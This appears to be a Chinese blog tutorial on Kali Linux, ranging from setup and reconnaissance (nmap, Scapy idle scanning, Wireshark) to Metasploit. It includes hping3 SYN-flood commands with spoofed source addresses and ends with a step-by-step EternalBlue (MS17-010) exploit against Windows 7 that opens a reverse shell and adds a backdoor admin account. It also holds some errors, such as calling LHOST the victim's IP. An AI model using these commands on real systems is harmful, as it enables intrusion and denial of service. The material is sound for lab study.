学习KaLi

本文最后更新于:2022年4月23日 凌晨

💀学习KaLi💀

🛑郑重声明

此文章可能会包含敏感以及危险的命令❗❗❗命令有风险,回车需谨慎。

此文章仅供学习交流与参考使用,禁止运用于任何非法行动或测试中,若有预期之外的后果,将不承担任何责任!!

❌ERHE再次进行警告与提醒!

┌──( root💀KaLi-Erhe )-[ ~ ]
└─# cat 重要的事情说三遍 ❗❗❗

  • ⭕命令有风险,回车需谨慎 ❗

  • ⭕命令有风险,回车需谨慎 ❗

  • ⭕命令有风险,回车需谨慎 ❗

👋一、KaLi系统准备

🪶KaLi终端字体改变

  • 放大:Ctrl+Shift+加号
  • 缩小:Ctrl+减号

➰了解它的Shell类型

查看系统环境变量和Shell类型的命令

1
sudo echo $SHELL

PS:zsh类型的shell比bash类型的shell更强,而且zsh完全兼容bash的用法和命令

💀使用ROOT用户

开启ROOT

1
sudo passwd

如何登录?

点击注销,然后在系统用户登录界面重新登录,用户名填root就行了。

🌐更改kali源

换中国科技大学的源

1
2
3
4
sudo vim /etc/apt/sources.list
# 注释掉第二行代码并新增两行代码
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

PS:vim显示行号
Esc==>:==>set nu

PS:复制粘贴小技巧
1、复制:在kali终端下,使用鼠标选中内容,就可以完成kali下复制,
2、粘贴:移动光标到需要粘贴的位置,按下鼠标中间的滚轮,就可以粘贴

PS:更新源扩展

dists区域 软件包组件标准
main 遵从 Debian自由软件指导方针(DFSG),并且不依赖于non-free
contrib 遵从 Debian自由软件指导方针(DFSG),但依赖于non-free
non-free 不遵从Debian自由软件指导方针(DFSG)

🛠️安装更新

1
2
3
apt update		# 更新软件包
apt upgrade # 安装更新包
apt dist-upgrade # 强制更新

PS:apt upgrade和dist-upgrade的差别
upgrade升级时,如果软件包有相依性的问题,此软件包就不会被升级。
dist-upgrade升级时,如果软件包有相依性问题,会移除旧版,直接安装新版本.(所以通常dist-upgrade会被认为是有点风险的升级)

🧹清理安装包

1
2
apt clean
apt autoclean

🔧apt常用命令:

install:安装软件包apt install
remove:移除软件包apt remove
update:更新可用软件包列表apt update
upgrade:通过安装/升级软件来更新系统apt upgrade
full-upgrade:通过卸载/安装/升级来更新系统apt dist-upgrade
edit-sources:编辑软件源信息文件vim /etc/apt/sources.liste

👀关闭锁屏

依次进入:左上角==>设置==>电源管理器==>安全性==>自动锁定会话:从不==>当系统进入睡眠状态··· ··· ,去掉那个勾

PS:init 0快速关机命令

⚪临时配置IP

1
2
ifconfig eth0 192.168.x.x/24
route add default gw 192.168.x.x

🟠永久配置IP

1
2
3
4
5
6
7
8
9
10
11
vim /etc/network/interfaces
# iface lo inet loopback后面追加以下配置
auto eth0
iface eth0 inet static # 配置静态地址
address 192.168.x.x # 配置IP
netmask 255.255.255.0 # 配置子网掩码
gateway 192.168.x.x # 配置网关
# 保存后重启网卡
systemctl restart networking
# 或者是
/etc/init.d/networking restart

⚪更改DNS

1
echo nameserver 114.114.114.114 > vim /etc/resolv.conf

🪛配置SSH,可ROOT直接登录

编辑配置文件

1
2
3
4
5
vim /etc/ssh/sshd_config
# 按照说明更改配置文件
1、大概在34行左右,找到#PermitRootLogin prohibit-password改成PermitRootLogin yes
# 记得要去掉这一句前面的#号
2、大概在58行左右,找到#PasswordAuthentication yes这一句前面的#号去掉

操作此服务

1
2
3
4
5
6
重启SSH服务
systemctl restart ssh
# 设置开机启动
systemctl enable ssh
# 或者
update-rc.d ssh enable

🛠️安装系统功能

文件上传下载功能

1
2
3
apt install lrzsz
rz # 上传文件
sz [文件名] # 下载

📑二、被动信息收集

域名记录:

  • A记录:正向解析,IP==>域名
  • PTR记录:反向解析,域名==>IP
  • CNAME:这个域名引用到其他域名上面
  • MX记录:邮件交换记录,指向邮件服务器
  • NS记录:域名服务器记录,指定此域名由哪个服务器进行解析

📞获取IP地址 / DNS

1
2
ping [域名]
-c # 限定次数
1
2
3
4
5
6
7
nslookup [域名]
Server: 192.168.0.1 # DNS服务器
Address: 192.168.0.1#53 # DNS服务器地址

Non-authoritative answer:
Name: erhe.group # 解析的域名
Address: 39.105.232.136 # 解析到的IP
1
2
3
4
5
6
dig [选项] [域名]
[选项]
@[指定域名解析的DNS服务器地址]
any # 查看所有的DNS解析
-x[IP] # 反向查询,由IP==>域名
txt chaos VERSION.BIND @[DNS服务器的域名] # 查询DNS服务器的版本

📜查询域名注册信息与备案信息

1
whois [域名]

🔀收集子域名的信息

🕵️MALTEGO信息收集工具

MALTEGO来了解一下~ 启动界面:

打开以后:

🔍使用Shodan暗黑谷歌搜索引擎

搜索地址:https://shodan.io
使用方法:例如:
搜索网络监控 输入:webcam
搜索IP 输入:net:[IP]
搜索端口号 输入:port:[端口]
搜索特定城市 输入:city[城市信息]

📚三、主动信息收集

📡协议了解

OSI扫描,主要是在二三四层进行探测发现

协议

基于OSI模型进行扫描的优缺点

  • 二层扫描的优缺点
    优点:扫描速度快、可靠
    缺点:不可路由
  • 三层扫描的优缺点
    优点:可路由,速度较快
    缺点:速度比二层慢,经常被边界防火墙过滤使用IP、icmp 协议
  • 四层扫描的优缺点
    优点:可路由且结果可靠不太可能被防火墙过滤、可以发现所有端口都被过滤的主机
    缺点:基于状态过滤的防火墙可能过滤扫描、全端口扫描速度慢

📲路由跟踪

1
traceroute [域名]

查看局域网内的IP是否有冲突,或者是查看IP对应的MAC地址,使用arping命令

ARP协议工作原理:IP<==>MAC

1
2
3
4
arping [选项] [IP地址]
-C # 指定Ping的次数
| grep "要筛选的项目名" # 筛选
| cut -d # 截取命令

🐕扫描、嗅探局域网中存活的主机

1
2
netdiscover -i [网卡名] -r [网段]/24		# 主动发数据包的嗅探
netdiscover -p # 不主动发数据包的嗅探

PS:主动方式容易被抓

💥压力测试,DOS攻击

1
2
3
4
5
6
7
8
hping3 [参数] [域名]
-c 发送次数 # 例子:1000
-d 数据包大小,单位字节 # 例子:120
-S 这个是大写的S只发送SYN数据表包
-w 指定TCP窗口的大小=流量 # 例子:64
-p 指定端口 # 例子:80
--flood 洪水攻击,加速发包 # 属于UDP行为,只管发,不管你收没收到
--rand-source 局域网内伪造地址

检测网段内存活的主机

1
2
3
fping -g [网段]/24 [参数]
-c 一个地址只ping几次才跳过
> xxx.txt 输出的结果到一个文件中

🕵️Nmap网络扫描

1
2
nmap [参数] [网段]/24
-sn 只进行Ping扫描,不进行端口扫描

nmap扫描有两种模式

  • TCP全连接扫描,三次握手完成,且会留记录
  • TCP半连接扫描,两次握手完成就断开,不会被记录
1
2
3
nmap [IP] [参数]
-sS 加了这个参数就是半连接扫描,不加就是全连接扫描
-p 端口 # 输入格式:8081,8283,84 或者是:80-84

🩺nc端口监听与扫描

nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单可靠的网络工具
nc的作用:

  • 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
  • 端口的扫描,nc可以作为client发起TCP或UDP连接
  • 机器之间传输文件
  • 机器之间网络测速
1
2
3
4
nc [参数] [IP地址] [端口,或者是端口范围]
-nv 表示我们扫描的目标是个IP地址不做域名解析
-w 表示超时时间
-z 表示进行端口扫描

查看端口被哪个进程使用

1
lsof -i:[端口号]

ps命令来查看这个进程的PID所对应的文件

1
ps -aux | grep [PID]

shich命令来查看这个进程的PID所对应的文件

1
which [进程名]

📡检测到达目标地址的路由设备

1
2
apt install mtr		# 默认没有,要安装一下
mtr [域名/IP地址]

🐱‍👤Scapy工具概述

Scapy是一个可以让用户发送、侦听和解析并伪装网络报文的Python程序。这些功能可以用于制作侦测、扫描和攻击网络的工具还可以查看目标MAC地址。输入scapy命令即可启动

查看Scapy里面的ARP协议

1
2
3
4
5
6
7
8
9
10
11
>>> ARP().display()
###[ ARP ]###
hwtype= 0x1 # 硬件类型
ptype= IPv4 # 协议类型
hwlen= None # 硬件地址长度(MAC)
plen= None # 协议地址长度(IP)
op= who-has # who-has查询
hwsrc= 00:0c:29:3d:6c:5d # 源MAC地址
psrc= 192.168.0.53 # 源IP地址
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0 # 向谁发送请求,目标

发ARP包格式

1
sr1(ARP(pdst="IP地址"))

查看Scapy里面的IP协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> IP().display()
###[ IP ]###
version= 4 # 版本,即IPV4
ihl= None # 首部长度
tos= 0x0 # 服务
len= None # 总长度
id= 1 # 标识
flags=
frag= 0 # 标志
ttl= 64 # 生存时间
proto= hopopt # 传输控制协议 IPV6逐跳选项
chksum= None # 首部效验和
src= 127.0.0.1 # 源地址
dst= 127.0.0.1 # 目标地址
\options\

查看Scapy里面的ICMP协议

1
2
3
4
5
6
7
>>> ICMP().display()
###[ ICMP ]###
type= echo-request # 类型,标识ICMPB报文的类型
code= 0 # 代码
chksum= None # 效验和
id= 0x0 # 标识
seq= 0x0

Scapy定制Ping包

1
sr1(IP(dst="IP地址")/ICMP(),timeout=1)

查看Scapy里面的TCP协议

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> TCP().display()
###[ TCP ]###
sport= ftp_data # TCP源端口
dport= http # TCP目的端口
seq= 0 # 32位序号
ack= 0 # 32位确认序号
dataofs= None # 4位首部长度
reserved= 0 # 保留6
flags= S # 标志域,紧急标志、有意义的应答标志、推、重置连接标志、同步序列号标志、完成发送数据标志。按照顺序排列是:URG、ACK、PSH、RST、SYN、FIN
window= 8192 # 窗口大小
chksum= None # 16位效验和
urgptr= 0 # 优先指针
options= [] # 选项

Scapy定制TCP协议SYN请求,这种是基于半连接扫描,更隐蔽

1
sr1(IP(dst="192.168.0.1")/TCP(flags="S",dport=80),timeout=1)

最后使用exec()命令退出Scapy。

☠️四、僵尸扫描

僵尸扫描有极高的隐蔽特性,能够伪造IP,但实施条件苛刻。
僵尸主机:僵尸主机是指感染僵尸程序病毒,从而被黑客程序控制的计算机设备。但是僵尸扫描中的僵尸主机指得是一个闲置的操作系统(这里的闲置是指主机不会主动和任何人通信),且此系统中IP数据包中IPID是递增的。

🐱‍👤使用Scapy进行僵尸扫描

1、端口开放状态的扫描原理:
TCP三次握手发包过程中,SYN/ACK是第二次包

这里最后看僵尸机(Zombie)返回的IPID+2,即是目标服务器(Target)端口开放

1
2
3
4
5
6
7
# 图1、黑客直接向僵尸机发送了第二次握手的包,僵尸机直接发回了拒绝的包,但是这个里面含有了这个拒绝包的IPID=x
rz1=sr1(IP(dst="僵尸主机的IP")/TCP(dport=445,flags="SA")
# 图2、黑客伪装成了这个僵尸服务器的IP向目标服务器发送第一次握手的请求,当目标服务器的这个端口开放的情况下,肯定会回第二次握手,但是这个第二次握手的包却发在了僵尸服务器里,僵尸服务器依然会发拒绝包拒绝此请求,但是IPID值在第一次的拒绝上面加一IPID=x+1
rt=sr1(IP(src="僵尸主机的IP,dst="目标服务器的IP")/TCP(dport=22),timeout=1)
# 图3、黑客再次向僵尸机发送了第二次握手的包,僵尸机又直接发回了拒绝的包,但是这个里面含有的这个拒绝包的IPID值在上一次的拒绝上面再次加一IPID=x+1+1
rz2=sr1(IP(dst="僵尸主机的IP")/TCP(dport=445,flags="SA")
# 最后使用`rz1.display()`和`rz2.display()`来查看僵尸机返回的IPID值是否与我们想象的变化相符

2、端口关闭状态的扫描原理:

1
2
3
4
5
6
7
# 图1、黑客直接向僵尸机发送了第二次握手的包,僵尸机直接发回了拒绝的包,但是这个里面含有了这个拒绝包的IPID=x
rz1=sr1(IP(dst="僵尸主机的IP")/TCP(dport=445,flags="SA")
# 图2、黑客伪装成了这个僵尸服务器的IP向目标服务器发送第一次握手的请求,当目标服务器的这个端口关闭的情况下,直接向真实的僵尸机发了拒绝包,僵尸机这次不再发IPID不变IPID=1
rt=sr1(IP(src="僵尸主机的IP,dst="目标服务器的IP")/TCP(dport=22),timeout=1)
# 图3、黑客再次向僵尸机发送了第二次握手的包,僵尸机又直接发回了拒绝的包,但是这个里面含有的这个拒绝包的IPID值在第一次的拒绝上面再次加一IPID=x+1
rz2=sr1(IP(dst="僵尸主机的IP")/TCP(dport=445,flags="SA")
# 最后使用`rz1.display()`和`rz2.display()`来查看僵尸机返回的IPID值是否与我们想象的变化相符

⛔PS:此三步的使用命令一定要很快的执行,防止僵尸主机在输入命令的时间里,发送了其他的数据包使得IPID数据不正确。同时这也证实了僵尸机施条件苛刻。

🕵️使用nmap来找僵尸主机

在网段里面找

1
2
3
nmap [网段]/24 [参数]
-p 端口 # 输入格式:80,81,82,83,84 或者是:80-84
--script=ipidseq.nse # 寻找僵尸主机

测试单台能作为僵尸主机

1
2
nmap [黑客的主机IP] -sI [被扫描的僵尸机IP] [参数]
-p 端口 # 输入格式:8081,8283,84 或者是:80-84

返回的结果

1
2
3
|_ipidseq: All zeros			# 不可以作为僵尸主机
|_ipidseq: Incremental! # 可以作为僵尸主机
Class: Incremental! # 可以作为僵尸主机

🗃️五、WireShark

🕵️‍♂️WireShark使用技巧

  • 确定Wireshark的物理位置。如果没有一个正确的位置,启动Wireshark后会花费很长的时间捕获一些与自己无关的数据。
  • 选择捕获接口。一般都是选择连接到Internet网络的接口,这样才可以捕获到与网络相关的数据。否则,捕获到的其它数据对自己也没有任何帮助。
  • 使用捕获过滤器。通过设置捕获过滤器,可以避免产生过大的捕获数据。这样用户在分析数据时,也不会受其它数据干扰。而且,还可以为用户节约大量的时间。
  • 用显示过滤器。通常使用捕获过滤器过滤后的数据,往往还是很复杂。为了使过滤的数据包再更细致,此时使用显示过滤器进行过滤。
  • 使用着色规则。通常使用显示过滤器过滤后的数据,都是有用的数据包。如果想更加突出的显示某个会话,可以使用着色规则高亮显示。
  • 构建图表。如果用户想要更明显的看出一个网络中数据的变化情况,使用图表的形式可以很方便的展现数据分布情况。
  • 重组数据。当传输较大的图片或文件时,需要将信息分布在多个数据包中。这时候就需要使用重组数据的方法来抓取完整的数据。Wireshark的重组功能,可以重组一个会话中不同数据包的信息,或者是重组一个完整的图片或文件。

📳抓包模式

  • 混杂模式:抓经过网卡是所有数据包
  • 普通模式:只抓取流向网卡的数据包

从混杂模式到普通模式的设置

🗑️过滤器的使用

过滤UDP包:输入udp或者dns

过滤目的IP:输入ip.addr==IP地址

ip.src_host==IP地址这个是本地的IP
ip.dst_host==IP地址这个是目的主机的IP

多条件筛选可也以用or或者是and来连接
or是两个条件都成立,and是两个条件只成立一个就行

🙈对常用协议进行抓包

要换成普通模式,再抓包,可避免一些干扰的数据包存在

  • ARP包详解

用抓包信息来看

192.168.1.53向局域网发ARP包说:谁有网关(1.1)的MAC地址发给我?
网关(1.1)向局域网发ARP包回复说:网关(我)的MAC是xx:xx:xx:xx

ARP包中数据详细内容如下

1
2
3
4
5
6
7
8
9
10
Address Resolution Protocol (reply)			# ARP地址解析协议reply表示回复包
Hardware type: Ethernet (1) # 硬件类型
Protocol type: lPv4 ( ox0800 ) # 协议类型
Hardware size: 6 # 硬件地址
Protocol size:4 # 协议长度
opcode:_ reply ( 2 ) # 操作码,该值为2表示ARP回复包
Sender MAC address: xXXXXXXXXXXX (a4:56:02:3b:4b:03) # 源MAC地址
Sender IP address: 网关IP地址 # 源IP地址
Target MAC address: 厂商_00:00:00 (00:0c:29:8b:2b:b8) # 目标MAC地址
Target lP address: IP地址 # 目标IP地址
  • ICMP协议

用抓包信息来看

requst:问包 reply: 答包

  • TCP协议

因为HTTP协议是在TCP协议之上的,所以在过滤TCP协议的数据包的时候会也会包含HTTP数据包

1.14向1.53建立SSH连接,用抓包信息来看:三次握手建立连接

可进入流量图来查看:统计==>流量图

断开连接时的四次握手

第一次挥手:服务端发送一个[FIN+ACK],表示自己没有数据要发送了,想断开连接,并进入FIN_WAIT_1状态
第二次挥手:客户端收到FIN后,知道不会再有数据从服务端传来,发送 ACK进行确认,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号),客户端进入CLOSE_WAIT状态。
第三次挥手:客户端发送[FIN+ACK]给对方,表示自己没有数据要发送了,客户端进入LAST_ACK状态,然后直接断开TCP会话的连接,释放相应的资源。
第四次挥手:服务户端收到了客户端的FIN信令后,进入TIMED_WAIT状态,并发送 ACK确认消息。服务端在TIMED WAIT状态下,等待一段时间,没有数据到来,就认为对面已经收到了自己发送的ACK并正确关闭了进入CLOSE状态,自己也断开了TCP连接,释放所有资源。当客户端收到服务端的ACK回应后,会进入CLOSE状态并关闭本端的会话接口,释放相应资源。

  • HTTP协议

抓包的时候先进入一个网页

1
curl -I erhe.group		# -I获取网页头部请求

用抓包信息来看

第一步:我们我们发送了一个HTTP的HEAD请求。
第二步:服务器收到我们的请求返回了一个Seq/ACK进行确认。
第三步:服务器将HTTP的头部信息返回给我们客户端状态码为200表示页面正常第四步:客户端收到服务器返回的头部信息向服务器发送Seq/ACK进行确认。发送完成之后客户端就会发送FIN/ACK来进行关闭链接的请求。

📡WireShark抓包解决服务器被黑上不了网

场景:服务器主机TTL值被恶意修改成1,导致可以Ping通网关,但是不能上网。

TTL:数据报文的生存周期
默认Linux操作系统值:64,每经过一个路由节点,TTL值减1,当TTL值为0时,说明目标地址不可达并返回:Time to live exceeded。作用:防止数据包,无限制在公网中转发。

修改TTL值

1
vim /proc/sys/net/ipv4/ip_default_ttl		# 默认64

思路:通过抓混杂模式来进行局域网内部状况的观测,查到哪个IP地址发的包异常,导致的局域网异常,来进一步的进行处理。

🕵️‍♂️六、NMAP高级使用技巧

🧐NMAP基础

NMAP是一个网络探测和安全扫描程序,系统管理者和个人可以使用这个软件扫描大型的网络,获取那台主机正在运行以及提供什么服务等信息。nmap支持很多扫描技术,例如: UDP、TCP connect()、TCP SYN(半开扫描)、 ftp代理(bounce攻击)、反向标志、ICMP、 FIN、ACK扫描、圣诞树(Xmas Tree)、SYN扫描和null扫描。还可以探测操作系统类型。

NMAP可用于:

  • 检测活在网络上的主机(主机发现)
  • 检测主机上开放的端口(端口发现或枚举)
  • 检测到相应的端口(服务发现)的软件和版本
  • 检测操作系统,硬件地址,以及软件版本
  • 检测脆弱性的漏洞(Nmap 的脚本)

👽NMAP端口状态解析

  • open :应用程序在该端口接收TCP连接或者UDP报文。
  • closed :关闭的端口对于nmap 也是可访问的,它接收nmap探测报文并作出响应。但没有应用程序在其上监听。
  • filtered :由于包过滤阻止探测报文到达端口,nmap 无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则或者主机上的软件防火墙。
  • unfiltered :未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。只有用于映射防火墙规则集的ACK扫描才会把端口分类到这个状态。
  • open / filtered :无法确定端口是开放还是被过滤,开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议,FIN,Null等扫描会引起。
  • closed | filtered:(关闭或者被过滤的):无法确定端口是关闭的还是被过滤的。

🩺NMAP的使用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nmap [参数] [IP地址/域名/网段]
# 不加任何参数,常规扫描
-v 详细显示扫描结果以及扫描状态
-p 端口 # 输入格式:80,81,82,83,84 或者是:80-84
# 端口最多是65535个
-sS # 加了这个参数就是半连接扫描,不加就是全连接扫描
-sU # UDP扫描
-sV # 探测端口及版本服务信息
-O # 只扫描系统类型
-A # 对操作系统和开放端口的软件版本还有traceroute路由进行扫描
-sn # Ping扫描,关闭端口扫描,扫描快,容易被防火墙ban
-Pn # 非ping扫描
-F # 快速扫描
-oX # 输出扫描结果,"X"是指定的文件类型为.xml
-T1-6 # 级别越高扫描速度越快,但容易被防火墙或IDS检测并屏蔽掉,推荐使用T4
--randomize-hosts # 随机扫描,对目标主机的扫描顺序随机划分
--scan-=delay [数字]ms # 延时扫描,单位秒,调整探针之间的延迟
--version-light # 设定侦测等级为2
--traceroute # 路由跟踪

慢速全面扫描

1
(nmap -sS -sU -T4 -A -v -PE -PP -PS80,443,-PA3389,PU40125 -pY -g 53 --script all)

如果扫描数量较大则可以使用分布式集群扫描dnmap

🎯NESSUS漏洞检测

说明:NESSUS占用内存比较大,建议使用6-8GB的运行内存

下载地址:https://www.tenable.com/downloads/nessus

安装.deb包的命令

1
dpkg -i [.deb包名]

启动此服务

1
systemctl start nessusd.service

进入浏览器访问:

https://localhost:8834/

进去登录注册激活,然后还要安装部分插件

因为我没有工作邮箱无法完成注册,这个还是留给后期测试

🐱‍👤七、Metasploit渗透测试框架

Metasploit是一个渗透测试平台,可以进行查找,利用和验证漏洞。它是一个攻击工具开发平台。

下载链接:https://www.metasploit.com/

🎛️Metasploit体系框架

1、基础库: metasploit基础库文件位于源码根目录路径下的libraries目录中,包括Rex,framework-core和framework-base三部分。

  • Rex是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及 MySQL数据库支持等。
  • framework-core库负责实现所有与各种类型的上层模块及插件的交互接口。
    framework-base库扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块。

2、模块∶模块组织按照不同的用途分为6种类型的模块(Modules) :

  • 分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。
    注: payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。

3、插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如Nessus、openVAS漏洞扫描器等,为用户接口提供一些新的功能。

4、接口:包括msfconsole控制终端、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi远程调用接口。

5、功能程序: metasploit还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用metasploit框架内部能力完成一些特定任务。比如msfpayload、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式,并可以进行各种类型的编码。

📋Metasploit的目录结构

进入Metasploit的目录

1
cd /usr/share/metasploit-framework

data:Metasploit使用的可编辑文件
documentation:为框架提供文档lib:框架代码库
modules:实际的MSF模块
eplugins:可以在运行时加载的插件
scripts:Meterpreter 和其他脚本
tools:各种有用的命令行工具

📲Metasploitable2靶机系统

账号:msfadmin 密码:msfadmin

首先使用的时候要部署好环境,更改root密码,设置静态IP

⛏️Metasploit基本使用方法

Metasploit程序需要使用Postgresql数据库

  • PostgreSQL概述:
    PostgreSQL是一种特性非常齐全的自由软件的对象,
    关系型数据库管理系统(ORDBMS),是以加州大学计算机系开发的POSTGRES 4.2版本为基础的对象关系型数据库管理系统。

官网: https://www.postgresql.org/

PostgreSQL启动命令:

1
systemctl start postgresql

通过help命令查看帮助,可以对msf有个整体认识,msf相关命令可以分成以下类型:

1
2
3
4
5
6
7
Core Commands		# 核心命令
Module Commands # 模块命令
Job Commands # 后台任务命令
Resource Script Commands # 资源脚本命令
Database Backend Commands # 数据库后端命令
Credentials Backend Commands # 证书/凭证后端命令
Developer Commands # 开发人员命令
  • 1、核心命令中的connect命令
    connect命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是connecte
1
2
connecte [IP地址/域名] [端口号]
get / # 建立连接后提交一个get请求,可以查到服务器版本号
  • 2、模块相关的命令show使用方法-show命令用的很多。
    “show”命令的有效参数是: all, encoders, nops, exploits, payloads, auxiliary, post, plugins,info, options
1
2
3
show exploits		# 例1:列出metasploit框架中的所有渗透攻击模块exploits。
show payloads # 列出metasploit框架中的所有攻击载荷。
show auxiliary # 列出metasploit框架中的所有辅助攻击载荷。
  • 3、模块相关的命令search搜索的使用方法
1
2
3
4
search [名字]		# 通过名字来查找,例如:mysql
# 每列的含意是
Name Disclosure Date Rank Check Description
名称 披露曰期 排名 检查 说明

每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个Rank字段。
用户可以基于Rank对漏洞利用模块进行搜索,分类以及排序。

  • Rank按照可靠性降序排列
  • excellent漏洞利用程序绝对不会使目标服务崩溃,就像SQL注入、命令执行、远程文件包含、本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。
  • great该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址。
  • good该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(桌面应用程序的Windows 7,服务器的2012等)
  • normal该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。eaverage该漏洞利用程序不可靠或者难以利用。
  • low对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于50%的利用成功率)
  • manual该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。
1
2
3
search pats:[名字]		# 通过路径查找
search platform:[名字] # 通过缩小范围查找,所查询的结果会列出rank比较高的模块。
search type:[名字] # 通过类型进行查找,例如渗透攻击模块exploits==>type:exploit

CVE搜索exploit相关模块

CVE概述:CVE的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露。CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具很难整合在一起。这样就使得CVE成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞,如果有CVE名称,你就可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题。

1
search cve:CVE-2017-8464 type:exploit		# 查找:CVE-2017-8464远程命令执行漏洞

联合查找:例如要查找mysql的exploit相关漏洞

1
search type:exploit name:mysql

🔩模块相关的命令use的使用方法

use使用参数。如你要使用到某个模块

1
2
3
search [漏洞名称]
use [模块名称]
# 退出模块back

查看漏洞模块的信息

1
info [模块名称]

🤖Metasploit核心命令

命令 注释
帮助菜单
banner 显示一个metasploit横幅
cd 更改当前的工作目录
color 切换颜色
connect 连接与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep grep 另一个命令的输出如: grep creds help
help 帮助菜单
history 显示命令历史
irb 进入irb脚本模式
load 加载一个框架插件
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值
setg 将全局变量设置为一个值
sleep 在指定的秒数内不做任何事情
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号

🧩Metasploit模块命令

命令 注释
advanced 显示一个或多个模块的高级选项
back 从当前上下文返回
edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块

⛏️Metasploit工作命令

命令 注释
handler 作为作业启动负载处理程序
jobs 显示和管理作业
kill 杀死一个工作
rename job 重命名作业

📚Metasploit数据库后端命令

命令 注释
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap 并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换

💨Metasploit凭证后端命令

1
creds		# 列出数据库中的所有凭据

👽七、实战-使用msf渗透攻击Win7并执行远程漏洞

🤔PS:真的是越学越有判头了!~🏛️

模拟使用”永恒之蓝”工具,利用Win7系统的MS17-010漏洞,进行渗透攻击,在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。下面是实现流程,

1
2
3
4
5
6
7
8
search ms17-010			# 查找有关这个漏洞的模块
use auxiliary/scanner/smb/smb_ms17_010 # 先进入测试模式
show options # 查看配置参数
# 项目解释
# Name Current Setting Required Description
# 名字 默认设置(设置的值) 必要性 详细描述
set RHOSTS [被攻击的主机IP] # 设置被攻击主机的IP
run # 直接执行测试

看到这样的反馈就说明,此主机是脆弱的因为这个漏洞,攻击可以执行

back这个模块以后,准备进入另一个攻击模块拿下

1
2
3
4
5
6
search ms17-010			# 查找有关这个漏洞的模块
use exploit/windows/smb/ms17_010_eternalblue # 进入攻击模块
show options # 查看配置参数
search ms17-010 # 查找有关这个漏洞的模块
set RHOSTS [被攻击的主机IP] # 设置别攻击主机的IP
show targets # 查看能实现此攻击模块的系统

准备后门

1
2
3
4
5
6
show payloads			# 查看关于这个模块能被利用的功能,但不是被查到的所有都能用
search windows/x64/shell # 搜索能关于shell连接的功能
set payload windows/x64/shell/reverse_tcp # 设置想要被利用的功能
set LHOST [被攻击的主机IP] # 设置别攻击主机的IP
show options # 再次确认查看配置的参数
run # 直接执行攻击

从上面可以看出,已经获取到了Windows的终端了,顺手给Windows新建一个新用户admin

1
2
3
4
net user admin admin /add
chcp 65001 # 更改Windows乱码问题
net user # 查看创建的这个用户
whoami # 查看用户权限

以上就是成功渗透Windows7的详细过程

💨被渗透的终端退出或调入后台

退出Ctrl+C,然后再输入一个Y即可退出

1
exploit -j			# 将渗透后的终端自动转至后台

查看后台,以及后台终端调起

1
2
3
sessions		# 查看后台的终端
sessions -i [查看的终端序号] # 进入后台的终端
